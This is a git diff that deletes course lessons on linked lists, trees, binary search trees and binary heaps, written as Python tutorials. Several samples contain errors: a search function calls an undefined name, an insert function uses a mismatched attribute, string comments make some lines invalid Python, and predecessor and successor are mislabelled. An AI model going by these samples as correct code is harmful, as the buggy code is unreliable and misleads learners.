-
-Since the first node in our Linked List is the head, we then call `film.head.set_next(node1)` in order to assign `node1` as the next node following the head.
- Now that `node1` is the tail of our Linked List `film`, we next call `node1.set_next(node2)` in order to assign `node2` as the next node following the tail, `node1`.
-
-Another way, and probably the easiest, we could add a new node to our *film* Linked List is by simply using the *insert()* function. Assume we got extra appointments for auditions up until lunchtime.
-
-```python
-film.insert(1030)
-film.insert(1100)
-film.insert(1130)
-film.insert(1200)
-film.insert(1230)
-```
-
-> Note: the `insert()` function defined in the *LinkedList* class is capable of creating a new node with the designated data you pass and will assign it as the next node in your Linked List (only will append node to the END, or tail).
-
-Now we should have a Linked List that contains a total of 8 nodes that represent 8 appointments for auditions in succession. We can verify the number of nodes by using the *size()* function:
-
-```python
-print(film.size())
-```
-
-Assume we were notified that someone canceled their audition for 10:00 AM. Afterwards, a different person cancels their 12:30 PM appointment. (Maybe this means an earlier lunch!) To make sure their appointments are no longer in the system, we can use the `delete()` function defined in the *LinkedList* class:
-
-```python
-film.delete(1000)
-film.delete(1230)
-```
-
-> Note: the *film* Linked List will retain its order of nodes after deletion of the specified nodes.
-
-To confirm that we have removed the canceled appointments, we will check that the corresponding nodes were deleted from our Linked List by searching for them:
-
-```python
-print(film.search(1000))
-print(film.search(1230))
-```
-
-> Note: The first `search()` function looking for the data point of 10:00 should return an error stating the data was not found (since the node has been deleted). The same should happen for the 12:30 node.
-
-To double check, we can also check again using the *size()* function to identify that `film` now only contains 6 nodes in this order: 9:00, 9:30, 10:30, 11:00, 11:30, 12:00.
-
-If we were to search for an existing appointment, we can do so in similar fashion:
-
-```python
-print(film.search(930))
-```
-
-> Note: the output produced will show the address in memory where the node is stored in our Linked List *film*.
-
-In the case where we want to access the data in the node associated with 9:30 in `film`:
-
-```python
-print(film.search(930).get_data())
-```
-> Note: this outputs the data at the particular node we searched for, opposed to the address of the node as seen in the prior example.
-
-
-
-
-
-
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/1.md b/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/1.md
deleted file mode 100644
index c4ea7eb7..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/1.md
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
-
-
-We are going to learn about tree data structures. In order to do so, it is important that we understand the essential terminology.
-
-#### Tree Terminology:
-
-* **Tree**: Hierarchical structure used to store data elements. Trees have no cycles (connections are one-way and never to previous elements), and are "upside-down" in that the root is at the top and leaves are at the bottom.
-
-* **Node**: Each individual data element of the tree that is linked to other data elements within the tree. Identified by a key.
-
-* **Level**: The number of parent nodes that a given node has. For instance, the root node has 0 parents so it is at Level 0. It's children are at Level 1, grandchildren at Level 2, and so on.
-
-* **Edge**: Link that connects two nodes.
-
-* **Root Node**: The node with highest hierarchical precedence. Each tree can only have one root node.
-
-* **Parent Node**: The predecessor of a node is called its parent. The root node does not have a parent.
-
-* **Child Node**: The descendant of a node is called its child.
-
-* **Sibling Nodes**: The nodes that have the same parent are called siblings.
-
-* **Leaf Nodes**: A node that does not have a child is called a leaf.
-
-* **Internal Nodes**: A node that has at least one child is called an internal node.
-
-* **Subtree**: A grouping of connected nodes within the tree.
-
-
-
-In the tree above, the circles with numbers in them are the **nodes** of the tree. The arrows connecting each nodes are the **edges**. The **root** of this tree is the node that contains the number 8. The node containing 3 is a **parent** of the node containing 1. The node containing 1 is a **child** of the node containing 3. The nodes with 4 and 7 are **siblings**. The nodes with 1, 4, 7, and 13 are **leaf** nodes. The nodes containing 8, 3, 10, 6, and 14 are all **internal** nodes. Finally, the group of nodes with values 6, 4, and 7 are a **subtree** of the tree.
-
-#### Real Life Application of Trees:
-
-##### Ancestry Trees:
-
-
-
-You may be wondering why we would want to use trees. A real life example of a tree structure being used is in ancestry trees. Think of each person in the family as a node. Every person in the family tree is related to other people in the family in some way as a sibling, parent, grandparent, etc. Tree data structures behave in a very similar way as they are both hierarchical structures with nodes, or family members, connected together in a certain manner, and the connection between nodes are there for a specific reason.
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/2.md b/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/2.md
deleted file mode 100644
index 88f5e88e..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/2.md
+++ /dev/null
@@ -1,61 +0,0 @@
-
-
-
-
-
-
-Now that we understand the structure of a tree and the common terminology used to describe elements of a tree, let's think of how we would implement the structure in Python.
-
-#### The `Node` Class:
-
-It may be tempting to declare a class called `Tree` in which we store all the nodes in the class. While this approach makes sense, it can often lead to confusion and does not have built-in functionality for relationships between the nodes in the tree. When you realize that a class for the tree itself is not necessary, you may think of a second approach, which is the standard implementation. Instead, for this implementation, we will declare a class `Node` in which in each instance of the class represents a node of the tree. The `Node` class contains the data value of a node and a list of its children. Let's define the `Node` class:
-
-```Python
-class Node:
- def __init__(self, key):
- self.key = key
- self.children = []
-
- def insert_child(self, newChild):
- self.children.append(newChild)
-```
-
-This implementation of the `Node` class also includes an `insert_child` function that simply appends the node passed as an argument to the current node's list of children. Since each node has its children stored in it, the structure of the tree is maintained, making the `Tree` class unnecessary. You may be asking why we don't keep track of each node's parent. While this may be useful or necessary for some more advanced types of trees, it is not needed to implement a base tree that we're currently investigating.
-
-#### Binary Trees:
-
-
-A simple tree structure is fundamental, but let's investigate a specific type of tree that allows for an interesting and structured way to store data. A **Binary Tree ** is a tree where every single node can only have zero, one, or two children. The tree structure we will be dealing with, however, is a special kind of Binary Tree, the **Binary Search Tree (BST)**. **BST**s have a few more restrictions:
-
-##### BST Rules:
-
-* Every element in the left subtree of a node has keys that are lesser in value than the key of that particular node.
-
-* Every element in the right subtree of a node has keys that are greater in value than the key of that particular node.
-
-
-
- Let's see an example of a valid vs invalid BST:
-
-
-
-
-
-Are you able to tell which tree is a valid BST and which is invalid?
-
-The **left** tree is an **invalid** BST because the node containing the key `10` is in a right subtree of the node containing the key `30`. You may have noticed that all subtrees of a BST are also BSTs.
-
-
-
-In order to implement a BST in Python, we just need to adjust our previous `Node` class.
-
-```Python
-class Node:
- def __init__(self, key):
- self.left = None
- self.right = None
- self.key = key
-```
-
-Since we know that BST nodes only have two children max, we no longer need a list to store the children; we simply store the left child as the **left** element and the right child as the **right** element. In the `Node` class the left and right children are initialized to null.
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/3.md b/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/3.md
deleted file mode 100644
index 715c7561..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/3.md
+++ /dev/null
@@ -1,38 +0,0 @@
-
-
-
-
-
-
-Now that we understand the basic structure of a **Binary Search Tree**, let's start to build up some useful functions that will allow us to access and manipulate our trees.
-
-#### BST Search:
-
-If you know the key to a specific node in a BST and want to access it within your BST, how would you do this? Let's build a function called `BSTSearch` that will allow us to do this.
-
-```Python
-def BSTSearch(curNode, key):
- if curNode is None or curNode.key == key:
- return curNode
- if curNode.key < key:
- return BSTSearch(curNode.right, key) #Go right
- else:
- return search(curNode.left, key) #Go left
-```
-
-The `BSTSearch` function behaves similarly to how you would if you were looking for a specific key in a BST: go right if you're looking for a larger key or go left if you're looking for a smaller key. It starts at the root and calls the same function again on its right child if the desired key is greater than the current node's key or calls the same function again on its left child if the desired key is less than the current node's key. It eventually returns the current node being inspected if the node's key matches the desired key or returns null if it doesn't find a node with a desired key. Make sure you understand the code above before moving forward.
-
-Let's actually see this in action, using use the tree from the previous card as as an example. Let's say we want to find `7` in our tree. Below, you can see the specific path that `BSTSearch` takes to look for the node:
-
-
-
-##### Time Complexity:
-
-Since we're interested in finding the asymptotic time in the **worst-case**, we must consider what the worst case situation would be when searching for a node.
-
-
-
-The diagram above depicts the worst-case scenario when searching for the node with key 50. As you can see, the time to reach a desired node would be O(height), and in this worst-case scenario, it would be **O(n)**, with **n** being the amount of nodes in the tree, since you have to search through every node in the tree.
-
-`BSTSearch` **= O(n)**
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/4.md b/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/4.md
deleted file mode 100644
index f6381406..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/4.md
+++ /dev/null
@@ -1,45 +0,0 @@
-
-
-
-
-
-
-Another very useful function when working with BSTs is the ability to add nodes to the tree.
-
-#### BST Insert:
-
-When adding a new node to a BST, we must make sure to find the correct place to insert that node. Let's look at the code for `BSTInsert`:
-
-```Python
-def BSTInsert(curNode, newNode):
- if curNode is None:
- curNode = newNode
- else:
- if curNode.key < newNode.val:
- if curNode.right is None:
- curNode.right = newNode
- else:
- BSTInsert(curNode.right, newNode)
- else:
- if curNode.left is None:
- curNode.left = newNode
- else:
- BSTInsert(curNode.left, newNode)
-```
-
-`BSTInsert` traverses through the BST in a similar way to `BSTSearch`. However, once it finds that the specific child is null in the place where the new node belongs, it places that node there. Try working and experimenting with the code on your own machine.
-
-To illustrate how this code works, let's use the tree from the first card as as an example. We will add a node `11` to this tree. Below, you can see the specific path that `BSTInsert` takes to insert the node as well as the actual position that `11` ends up in:
-
-
-
-##### Time Complexity:
-
-Similarly to `BSTSearch`, the worst-case scenario runtime for `BSTInsert` is also **O(n)**. The worst-case would occur when you have to go through every node in the tree to find the proper place to insert the node.
-
-Let's use the same example from the previous card to illustrate this:
-
-
-
-In order to insert `60` into this tree, we needed to visit every other node first. Hence, this was a worst-case scenario.
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/5.md b/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/5.md
deleted file mode 100644
index 2d0af932..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/5.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-
-
-The last fundamental function that allows us to interact with BSTs is `BSTDelete`, which will allow us to remove unwanted nodes from our tree. `BSTDelete` is arguably the most complicated of the BST functions we have learned so far because we have to fix the tree once we remove a node.
-
-##### Deleting a BST Node:
-
-When deleting a BST node, there are **two main cases**:
-
-* **Leaf/1 Child Case:** The easier of the two cases is when the node we want to delete is a leaf in the BST or a node with only one child. Since a leaf does not have any children, deleting it from a BST leaves us with a proper BST, meaning we do not have to change the structure of the tree and can simply remove the node. Also, if a node we want to delete only has one child, we can just delete that node and place its child where it used to be. Here is an example of the former:
-
- 
-
-* **2 Child Case**: The more challenging case occurs when you want to delete an internal node in the BST, or a node with two children. If you simply deleted the node, you would lose the children. Therefore, when an internal node is deleted, it must be replaced with the maximum node of the deleted node's left subtree or minimum node of the deleted node's right subtree (your code implementation will determine the preference between these two options) in order to still follow the rules of a BST. Here is an illustration that should help your understanding:
-
- 
-
-As you can see, we chose to delete `20` from the tree, and picked its in-order predecessor node as its replacement. The in-order predecessor node is the maximum value of a node's left subtree, in the above case, `19`.. Similarly, we could have also used the in-order *successor* node, which is the *minimum* value of a node's *right* sub-tree. If we had gone that direction, we would have chosen `30` as the replacement for `20` in our example instead.
-
-Note that the process for deleting a child with two nodes is the same for **any** node, even the root! If we had decided to remove `15` from our tree above, and still decided to use the in-order predecessor node as our replacement, we would have picked `12` to be in its place. We would have chosen `16` if we picked the successor node.
\ No newline at end of file
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/6.md b/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/6.md
deleted file mode 100644
index 6bb59980..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/6.md
+++ /dev/null
@@ -1,56 +0,0 @@
-
-
-
-
-
-
-#### BSTDelete()
-
-Due to the various cases when deleting a BST node, the `BSTDelete` function is a little more complex than `BSTSearch` and `BSTInsert`. However, don't be intimidated by the code; make certain you understand the process of deleting a node, because the code simply follows that logic. Let's take a look:
-
-```Python
-def smallestNode(curNode):
- inspectedNode = curNode
- while(inspectedNode.left is not None):
- inspectedNode = inspectedNode.left #Go left as far as possible
- return inspectedNode
-```
-
-This is a helper function which will allows us to find the smallest node in a given node's subtree. The process is simple. We simply traverse down the node's left subtree, always choosing to visit the left child, until we reach a leaf. That leaf node is the smallest node and gets returned. As you can tell, we are chooisng the in-order predecessor node as our replacement in this code implementation.
-
-```python
-def BSTDelete(curNode, key):
- if curNode is None:
- return curNode
- if (key < curNode.key):
- curNode.left = BSTDelete(curNode.left, key)
- elif (key > curNode.key):
- curNode.right = BSTDelete(curNode.right, key)
-```
-
-In order to delete a node, we need to find it first! This process is the exact same as with `BSTSearch` and `BSTInsert`. We traverse down the left and right subtree of any given node until we reach the node we are looking to delete.
-
-```python
-else: #found node to be deleted
- if curNode.left is None: #Case 1
- tempNode = curNode.right
- curNode = None #Delete node
- return tempNode
- elif curNode.right is None: #Case 1
- tempNode = curNode.left
- curNode = None #Delete node
- return tempNode
-```
-
-Here, we found the node and it falls under one of the two situations listed in Case 1: it is either a leaf, or only has one child. We do the appropriate replacement and deletion procedures. Notice that we "delete" a node by setting it to `None`.
-
-```python
- #Internal Node Case:
- tempNode = smallestNode(curNode.right) #find smallest key node of right subtree
- curNode.key = tempNode.key
- curNode.right = BSTDelete(curNode.right, tempNode.key)
-```
-
-Finally, this is the case where the node in question has two children. We find its in-order predecessor node, replace its value with the predecessor's value, and delete the predecessor node from our tree.
-
-Although `BSTDelete` seems complicated initially, if you read through it slowly, you will realize that it simply follows the logic of either the **Leaf/1 Child Case** or the **Internal Node Case**. Feel free to review the two cases if you're having trouble understanding the `BSTDelete` code.
\ No newline at end of file
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/7.md b/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/7.md
deleted file mode 100644
index 35724b4d..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/7.md
+++ /dev/null
@@ -1,72 +0,0 @@
-
-
-
-
-
-
-Now that we have learned the basic concepts associated with trees, let's do an activity together that walks through a real life application of data trees to cement our understanding.
-
-As I mentioned prior, a place where a data tree occurs in your real life is with the relationships in your family. For the activity, we will make a data tree in Python using the `Node` class that will be a representation of a family.
-
-#### Family Tree:
-
-For our family tree, we want to hold the **name**, **age**, **gender**, and **favorite sport** for each member of the family. Therefore, we must slightly modify our `Node` class to allow us to encompass that data.
-
-```Python
-class Node:
- def __init__(self, name, age, gender, sport):
- self.key = name
- self.age = age
- self.gender = gender
- self.sport = sport
- self.children = []
-
- def insert_child(self, newChild):
- self.children.append(newChild)
-```
-
-As you may have noticed, we added arguments to the `Node` class initializer function that we will use to let us store the important data we want to store about each family member. Notice that we are now assigning the name of the family member to be the key that we identify each node as, which is an implementation choice. You could really use any data aspect as the key for each family member. It is just what we will use to identify a certain node.
-
-##### Building the Tree:
-
-Now that we have our new `Node` class, let's start initializing some family members to start building the ancestry tree. For the **root** of the family tree, we want to use the grandmother of the family. Let's say the grandmother of the family's name is **Susan**, she is **92** years old, and her favorite sport is **bowling**. Let's initialize her `Node` object:
-
-```Python
-grandma = Node("Susan", 92, "female", "bowling")
-```
-
-Now that we have a node for grandma Susan, let's say she has 3 children. Let's create some node objects for her children:
-
-```Python
-mary = Node("Mary", 57, "female", "soccer")
-joe = Node("Joe", 61, "male", "football")
-don = Node("Don", 63, "male", "tennis")
-```
-
-We have declared node objects for all of Susan's children but we have not indicated in our code that they are her children yet. In order to do so, we can use the `insert_child` function in the `Node` class on Susan's object.
-
-```Python
-grandma.insert_child(mary)
-grandma.insert_child(joe)
-grandma.insert_child(don)
-```
-
-After making those 3 calls, grandma.children will now be a list that holds the node instances mary, joe, and don. We have essentially drawn edges between grandma and mary, grandma and joe, and grandma and don.
-
-Let's say that Joe got married and had 2 children. Although we could adjust our tree structure to include Joe's spouse, let's keep our tree simple for now and only show grandma Susan's direct descendants. Let's create the `Node` instances for Joe's 2 children:
-
-```Python
-ricky = Node("Ricky", 34, "male", "basketball")
-kelly = Node("Kelly", 35, "female", "tennis")
-```
-
-Now let's connect them to Joe's node with edges:
-
-```Python
-joe.insert_child(ricky)
-joe.insert_child(kelly)
-```
-
-
-
-Now, we have successfully created a simple family tree using data trees in Python. For practice, try out drawing the family tree we just created on paper. Also, for more practice, try implementing your own family tree in Python by adding and deleting the new object nodes with family member.
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/8.md b/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/8.md
deleted file mode 100644
index 9393ec76..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/8.md
+++ /dev/null
@@ -1,102 +0,0 @@
-
-
-
-
-
-
-> **For BSTs, make a simple database example, be able to search members by ID**
-
-Now to further **enhance your comprehension for Binary Search Tree's**, we will use a Binary Search Tree in an example **real-world application** in order for you to see the purpose behind this algorithm.
-
-Consider that we are admins for a corporation that has many employees and we must have some sort of way to keep track of each employee in our database system. We need an efficient way of **searching** for particular employees based on their **employee identification number**. Each employee has a distinct identification number, so we will use a Binary Search Tree as our structure that stores the employees' ID numbers which represent the nodes.
-
-```python
-# Python program to demonstrate insert operation in a binary search tree
-
-# A utility class that represents an individual node in a BST
-# We added arguments to the `Node` class initializer function that we will use to let us store the important data we want to store about each employee's ID number(Key) and name.
-# For our employee information tree, we weant to hold the **key**, and **name** for each employee of the company.Therefore, we must slightly modify our 'Node' class to allow us to encompass that data.
-class Node:
- def __init__(self,key,name):
- self.left = None
- self.right = None
- self.val = key
- self.employeeName = name
-
-
-# We are now assigning the name of the employee to be the key that we identify each node as, which is an implementation choice. You could really use any data aspect as the key for each employee. It is just what we will use to identify a certain node.
-# A utility function to insert a new node with the given key
-def insert(root,node):
- if root is None:
- root = node
- else:
- if root.val < node.val:
- if root.right is None:
- root.right = node
- else:
- insert(root.right, node)
- else:
- if root.left is None:
- root.left = node
- else:
- insert(root.left, node)
-
-
-# Now, we make functions to make a tree in order by the Key value(Employee ID) or the name of employee base on the insert function we produced above.
-# A utility function to do inorder tree traversal
-def inorderID(root):
- if root:
- inorderID(root.left)
- print(root.val)
- inorderID(root.right)
-
-def inorderName(root):
- if root:
- inorderName(root.left)
- print(root.employeeName)
- inorderName(root.right)
-
-# We make a function to search the name of employee base on the Key value(Employee ID).
-# A utility function to search a given key in BST
-def search(root,key):
-
- # Base Cases: root is null or key is present at root
- if root is None or root.val == key:
- print(root.employeeName)
- return root
-
- # Key is greater than root's key
- if root.val < key:
- return search(root.right,key)
-
- # Key is smaller than root's key
- return search(root.left,key)
-
-#Now, we declare "Abel" with ID number '50' as a root of the employee tree. Also, there are 6 more employees with different ID numbers. We insert 6 employees under the root node of 'Abel' by using 'insert' function.
-r = Node(50, "Abel")
-insert(r,Node(30, "Bob"))
-insert(r,Node(20, "Cathy"))
-insert(r,Node(40, "Debbie"))
-insert(r,Node(70, "Evan"))
-insert(r,Node(60, "Fiona"))
-insert(r,Node(80, "Gabriel"))
-
-
-# We have inserted all node objects for the root but we have not made them in order by employee ID or employee name. To do so, we use inorderID or inorderName function. Also, we can search the employee name by the key value(employee ID).
-# Print inoder traversal of the BST
-inorderID(r)
-inorderName(r)
-search(r, 20)
-```
-
-
-
-> Figure 1. Binary Search Tree in order with the employee Identification number and employee's name
-
-| Python Code | Print Output |
-| :------------: | :----------------------------------------------------------: |
-| inorderID(r) | 20 30 40 50 60 70 80 |
-| inorderName(r) | Cathy Bob Debbie Abel Fiona Evan Gabriel |
-| search(r, 20) | Cathy |
-| search(r, 60) | Fiona |
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/1.md b/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/1.md
deleted file mode 100644
index fc2c2790..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/1.md
+++ /dev/null
@@ -1,58 +0,0 @@
-
-
-
-
-
-
-#### Binary Heaps:
-
-One interesting type of tree data structure is a **Binary Heap**, which is a type of binary tree. A binary tree can only have 0, 1, or 2 children. Binary Heaps have the following properties:
-
-- Each node must be filled by the number of children, except the last level of the node if there is no children(object) available.
-- New children must be added to the left-most available position.
-- It is either an instance of a Min Heap or Max Heap.
-- Binary heap is a complete binary tree.
-
-A **Min Heap** is a heap where the root has the smallest key and the keys on the nodes get larger as you go down the tree.
-
-A **Max Heap** is a heap where the root has the largest key and the keys on the nodes get smaller as you go down the tree.
-
-Examples of **Binary Heaps**:
-
-
-
-The image on the left is an example of a **Min Heap**. The image on the right is an example of a **Max Heap**.
-
-#### Valid vs. Invalid Max Heaps:
-
-
-
-The right tree is invalid heap-order, because 5 has a child 6, which is not the correct heap order. Left and right value of the subtrees must be less than or equal to the value at the parental node.
-
-
-
-One useful attribute of **Binary Heaps** is the ability to find the min/max of the tree in **O(1)** time because the root of a **Min Heap** is the min of the data and the root of a **Max Heap** is the max of the data.
-
-
-
-### Binary Heap Implementation:
-
-Given a list of elements, we want to be able to convert it into a Binary Heap. Below is an example of a list of numbers represented by a Min Heap:
-
-
-
-Above figure represents the binary heap implementation in order of a Min Heap. You can read the figure by top level from left to right. When you represent the number in the list of array, you must put root at index 1 position, because it is easy to find parent and child node.
-
-Now to view this programmatically, we will define a Binary Heap implementation representing a Min Heap. We will begin our implementation of a binary heap with the constructor. Since the entire binary heap can be represented by a single list, all the constructor (`__init__`) will do is initialize the list and an attribute `currentSize` to keep track of the current size of the heap. You will notice that an empty binary heap has a single zero as the first element of `heapList` and that this zero is not used, but is there so that simple integer division can be used in later methods.
-
-```python
-class BinHeap:
- def __init__(self):
- self.heapList = [0]
- self.currentSize = 0
-```
-
-
-
-
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/2.md b/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/2.md
deleted file mode 100644
index f6d2ab92..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/2.md
+++ /dev/null
@@ -1,38 +0,0 @@
-
-
-
-
-
-
-The next method we will implement is `insert`. The easiest, and most efficient, way to add an item to a list is to simply append the item to the end of the list. The good news about appending is that it guarantees that we will maintain the complete tree property. The bad news about appending is that we will very likely violate the heap structure property. However, it is possible to write a method that will allow us to regain the heap structure property by comparing the newly added item with its parent. If the newly added item is less than its parent, then we can swap the item with its parent. The figure below shows the series of swaps needed to percolate the newly added item up to its proper position in the tree:
-
-
-
-> Figure 2: Percolate the New Node up to Its Proper Position (MinHeap with the percUp method)
-
-
-
-Notice that when we percolate an item up, we are restoring the heap property between the newly added item and the parent. We are also preserving the heap property for any siblings. Of course, **if the newly added item is very small, we may still need to swap it up another level**. In fact, **we may need to keep swapping until we get to the top of the tree while new item is smaller than its parent**.
-
-Below depicts the `percUp` method, which percolates a new item as far up in the tree as it needs to go to maintain the heap property. Figure 2 represents the MinHeap (the parent node is less than or equal to the children node) with `percUp` method. MaxHeap (the parent node is greater than or equal to the children node) can be used `percUp` method when the inserting number is greater than the parent node. Here is where our wasted element in `heapList` is important. Notice that we can compute the parent of any node by using simple integer division. The parent of the current node can be computed by dividing the index of the current node by 2.
-
-```python
-def percUp(self,i):
- while i // 2 > 0: "dividing the index of the current node(i) by 2"
- if self.heapList[i] < self.heapList[i // 2]: "if heapList[i] is less than heaplist[i//2] "
- tmp = self.heapList[i // 2] "tmp is equal to heapList[i//2]"
- self.heapList[i // 2] = self.heapList[i]"heapList[i//2] is equal to heapList[i]"
- self.heapList[i] = tmp "heapList[i] is equal to tmp"
- i = i // 2 "index of current node is equal to i//2 "
-```
-
-
-
-We are now ready to write the `insert` method (see below). Most of the work in the `insert` method is really done by `percUp`. Once a new item is appended to the tree, `percUp` takes over and positions the new item properly.
-
-```python
-def insert(self,k):
- self.heapList.append(k)
- self.currentSize = self.currentSize + 1
- self.percUp(self.currentSize)
-```
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/3.md b/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/3.md
deleted file mode 100644
index 5910c702..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/3.md
+++ /dev/null
@@ -1,57 +0,0 @@
-
-
-
-
-
-
-With the `insert` method properly defined, we can now look at the `delMin` method. Since the heap property requires that the root of the tree be the smallest item in the tree, finding the minimum item is easy. The hard part of `delMin` is restoring full compliance with the heap structure and heap order properties after the root has been removed. We can restore our heap in two steps. First, we will restore the root item by taking the last item in the list and moving it to the root position. Moving the last item maintains our heap structure property. However, we have probably destroyed the heap order property of our binary heap. Second, we will restore the heap order property by pushing the new root node down the tree to its proper position. Below shows the series of swaps needed to move the new root node to its proper position in the heap:
-
-
-
-> Figure 3: Percolating the Root Node down the Tree (delMin from MinHeaps)
-
-In order to maintain the heap order property, all we need to do is swap the root with its smallest child less than the root. After the initial swap, we may repeat the swapping process with a node and its children until the node is swapped into a position on the tree where it is already less than both children. The code for percolating a node down the tree is found in the `percDown` and `minChild` methods as seen below:
-
-```python
-def percDown(self,i):
- while (i * 2) <= self.currentSize: "While index of current node times 2 is less than or eqaual to currentSize of heaplist"
- mc = self.minChild(i) "integer mc is equal to minChild"
- if self.heapList[i] > self.heapList[mc]:
- "if heapList[i] is greater than heapList[mc]"
- tmp = self.heapList[i] "tmp is equal to heapList[i]"
- self.heapList[i] = self.heapList[mc] "heapList[i] is equal to heapList[mc]"
- self.heapList[mc] = tmp "heapList[mc] is equal to tmp"
- i = mc "index of current node is equal to mc"
-
-def minChild(self,i):
- if i * 2 + 1 > self.currentSize:
- return i * 2
- else:
- if self.heapList[i*2] < self.heapList[i*2+1]:
- return i * 2
- else:
- return i * 2 + 1
-```
-
-
-
-The code for the `delmin` operation is defined below. Note that once again the hard work is handled by a helper function, in this case `percDown`.
-
-```python
-def delMin(self):
- retval = self.heapList[1]
- self.heapList[1] = self.heapList[self.currentSize]
- self.currentSize = self.currentSize - 1
- self.heapList.pop()
- self.percDown(1)
- return retval
-```
-
-
-
-##### Example of MaxHeap Deletion
-
-
-Figure 3:
-
-> Figure 4: Percolating the Root Node down the Tree (delMax from MaxHeaps)
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/4.md b/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/4.md
deleted file mode 100644
index 38507991..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/4.md
+++ /dev/null
@@ -1,34 +0,0 @@
-
-
-
-
-
-
-To finish our discussion of binary heaps, we will look at a method to build an entire heap from a list of keys. The first method you might think of may be like the following. Given a list of keys, you could easily build a heap by inserting each key one at a time. Since you are starting with a list of one item, the list is sorted and you could use binary search to find the right position to insert the next key at a cost of approximately **𝑂(log𝑛)** operations. However, remember that inserting an item in the middle of the list may require **𝑂(𝑛)** operations to shift the rest of the list over to make room for the new key. Therefore, to insert 𝑛 keys into the heap would require a total of **𝑂(𝑛log𝑛)** operations. However, if we start with an entire list then we can build the whole heap in **𝑂(𝑛)** operations. Below shows the code to build the entire heap:
-
-```python
-def buildHeap(self,alist):
- i = len(alist) // 2
- self.currentSize = len(alist)
- self.heapList = [0] + alist[:]
- while (i > 0):
- self.percDown(i)
- i = i - 1
-```
-
-To visually interpret how the heap is built, with the above function, the below figure will depict how it is built:
-
-
-
-> Figure 4: Building a Heap from the List [9, 6, 5, 2, 3]
-
-Figure 4 shows the swaps that the `buildHeap` method makes as it moves the nodes in an initial tree of [9, 6, 5, 2, 3] into their proper positions.
-
-Initial Heap: [9, 6, 5, 2, 3]
-i = 2 : [9, 2, 5, 6, 3]
-i = 1 : [2, 9, 5, 6, 3]
-i = 0 : [2, 3, 5, 6, 9]
-
-The `percDown` method ensures that the largest child is always moved down the tree and check the next set of children farther down in the tree to ensure that it is pushed as low as it can go.
-
-In this case, initial list [9, 6, 5, 2, 3] turned to the list [2, 3, 5, 6, 9]. When **len(aList) = 5; i = len(aList) // 2, i = 2**, a number '2' at the lowest level of the tree swapped with the number '6'. When **i = 1**, the number '2' swapped with the number '9', because 2 is less than 9. Now, the number '2' is located in right position of the heap. The number '9' needed to swap to the lowest level of the tree after the comparison with the number '3'. It results in a swap with the number '3'. Now that the number '9' has been moved to the lowest level of the tree, no further swapping can be done. It is useful to compare the list representation of this series of swaps as shown in [Figure 4](https://runestone.academy/runestone/books/published/pythonds/Trees/BinaryHeapImplementation.html#fig-buildheap) with the tree representation.
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/5.md b/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/5.md
deleted file mode 100644
index f822a3a2..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/5.md
+++ /dev/null
@@ -1,113 +0,0 @@
-
-
-
-
-
-
-Now with our complete implementation of our Binary Heap (Min Heap):
-
-```python
-class BinHeap:
- def __init__(self):
- self.heapList = [0]
- self.currentSize = 0
-
- def percUp(self,i):
- while i // 2 > 0:
- if self.heapList[i] < self.heapList[i // 2]:
- tmp = self.heapList[i // 2]
- self.heapList[i // 2] = self.heapList[i]
- self.heapList[i] = tmp
- i = i // 2
-
- def insert(self,k):
- self.heapList.append(k)
- self.currentSize = self.currentSize + 1
- self.percUp(self.currentSize)
-
- def percDown(self,i):
- while (i * 2) <= self.currentSize:
- mc = self.minChild(i)
- if self.heapList[i] > self.heapList[mc]:
- tmp = self.heapList[i]
- self.heapList[i] = self.heapList[mc]
- self.heapList[mc] = tmp
- i = mc
-
- def minChild(self,i):
- if i * 2 + 1 > self.currentSize:
- return i * 2
- else:
- if self.heapList[i*2] < self.heapList[i*2+1]:
- return i * 2
- else:
- return i * 2 + 1
-
- def delMin(self):
- retval = self.heapList[1]
- self.heapList[1] = self.heapList[self.currentSize]
- self.currentSize = self.currentSize - 1
- self.heapList.pop()
- self.percDown(1)
- return retval
-
